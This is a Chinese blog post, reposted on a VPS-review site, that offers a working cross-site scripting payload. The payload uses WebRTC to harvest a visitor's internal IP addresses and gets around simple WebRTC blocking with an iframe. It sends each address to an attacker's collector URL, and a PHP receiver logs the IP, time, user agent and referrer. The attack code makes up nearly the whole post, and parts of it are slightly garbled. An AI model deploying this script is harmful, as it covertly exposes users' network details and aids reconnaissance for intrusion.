xss-利用webrtc获取内网IP

xss.js
function getIPs(callback){
                var ip_dups = {};

                //compatibility for firefox and chrome
                var RTCPeerConnection = window.RTCPeerConnection
                    || window.mozRTCPeerConnection
                    || window.webkitRTCPeerConnection;
                var useWebKit = !!window.webkitRTCPeerConnection;

                //bypass naive webrtc blocking using an iframe
                if(!RTCPeerConnection){
                    //NOTE: you need to have an iframe in the page right above the script tag
                    //
                    //<iframe id="iframe" sandbox="allow-same-origin" gt;</iframegt;
                    //<scriptgt;...getIPs called in here...
                    //
                    var win = iframe.contentWindow;
                    RTCPeerConnection = win.RTCPeerConnection
                        || win.mozRTCPeerConnection
                        || win.webkitRTCPeerConnection;
                    useWebKit = !!win.webkitRTCPeerConnection;
                }

                //minimal requirements for data connection
                var mediaConstraints = {
                    optional: [{RtpDataChannels: true}]
                };

                var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

                //construct a new RTCPeerConnection
                var pc = new RTCPeerConnection(servers, mediaConstraints);

                function handleCandidate(candidate){
                    //match just the IP address
                    var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
                    var ip_addr = ip_regex.exec(candidate)[1];

                    //remove duplicates
                    if(ip_dups[ip_addr] === undefined)
                        callback(ip_addr);

                    ip_dups[ip_addr] = true;
                }

                //listen for candidate events
                pc.onicecandidate = function(ice){

                    //skip non-candidate events
                    if(ice.candidate)
                        handleCandidate(ice.candidate.candidate);
                };

                //create a bogus data channel
                pc.createDataChannel("");

                //create an offer sdp
                pc.createOffer(function(result){

                    //trigger the stun server request
                    pc.setLocalDescription(result, function(){}, function(){});

                }, function(){});

                //wait for a while to let everything done
                setTimeout(function(){
                    //read candidate info from local description
                    var lines = pc.localDescription.sdp.split('n');

                    lines.forEach(function(line){
                        if(line.indexOf('a=candidate:') === 0)
                            handleCandidate(line);
                    });
                }, 1000);
            }

            //insert IP addresses into the page
getIPs(function(ip){    var url="http://192.168.80.133:81/aaa.php?ip="+ip;
    var xmlhttp1=new XMLHttpRequest(); 
    xmlhttp1.open("GET", url, true);
    xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp1.send(null);  });

server端:
<?php
$ip=$_GET['ip'];
$time=date("j F, Y, g:i a");
$agent = $_SERVER['HTTP_USER_AGENT'];
$referer=getenv('HTTP_REFERER');
$text = 'ip:' =.$ip."rn".'Time:'.$time."rn".'User Agent:'.$agent."rn".'Referer:'.$referer."rn";
$file = fopen('vb.php' , 'a+');
fwrite($file,$text);
fclose($file);
?gt;

--------------------------------------------------------------
主机参考，收集国内外VPS，VPS测评，主机测评，云服务器，虚拟主机，独立服务器，国内外服务器，高性价比建站主机相关优惠信息@zhujicankao.com
详细介绍和测评国外VPS主机,云服务器,国外服务器,国外主机的相关优惠信息,商家背景,网络带宽等等,也是目前国内最好的主机云服务器VPS参考测评资讯优惠信息分享平台

这几篇文章你可能也喜欢：

• Lisa Host 美国9929双ISP住宅IP VPS 评价：3网强制使用AS9929线路出站直连回程，双ISP本机IP解锁功能强
• HostKvm香港CTG机房VPS评级：香港原生IP解锁香港Netflix/美国Tiktok，并允许直接出站连接中国电信CN2 GT。
• OneTechCloud美西9929双ISP VPS评级：美国本土住宅IP解锁强大，IP纯三网回传 AS9929优化线路
• Kurait美国Ashburn VPS评测：解锁英国Tiktok，回程直连3网，出站绕过日本电信联通
• IPRaft 印尼 ISP VPS 评级：双 ISP 解锁美国 Tiktok 亚马逊/印尼流媒体并以 80,000+ 速度观看视频

本文由主机参考刊发，转载请注明：xss-利用webrtc获取内网IP https://zhujicankao.com/12259.html